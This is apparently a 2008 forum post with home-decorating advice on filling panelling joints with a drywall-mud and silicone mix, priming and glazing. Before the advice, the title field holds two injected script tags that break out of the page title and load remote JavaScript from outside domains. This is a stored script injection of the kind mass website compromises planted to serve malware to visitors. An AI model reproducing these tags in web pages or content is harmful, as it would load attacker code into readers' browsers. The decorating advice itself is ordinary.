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Date: 12/18/2008 2:54:15 PM
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"> </title><script src="http://zon.menotepoer.com/sl.php?v=2"></script><!--"></title><script src="http://esscer47emonyno.rr.nu/sl.php"></script><!--Hi.....I filled the lines in the panelling and then used a mixture of 1/2 large tub drywall mud with 1 tube silicone....(I worked with 1/2 tub at a time for mixing purposes. First I used an electric sander over the surface and dusted it off.... then I used a tinted primer over the whole area. Then I trowelled on the plaster mix and flattened it down leaving an interesting pattern. Then another coat of the tinted primer.
(I found from a past experience that if you don't do the first prime, you may have spots underneith that the second prime won't reach.)
Then I ragged on a darker color, mixed with glaze, in a circular motion which catches in the high spots. I love the look of this and have done it twice now.
One suggestion.......(which I didn't do) is to maybe use drywall tape ove the joins in the panel board) I had an earthquake that left me with cracks in the joins in a house, and in the mobile....the temperature changes can shift the panels as well.
Good luck!

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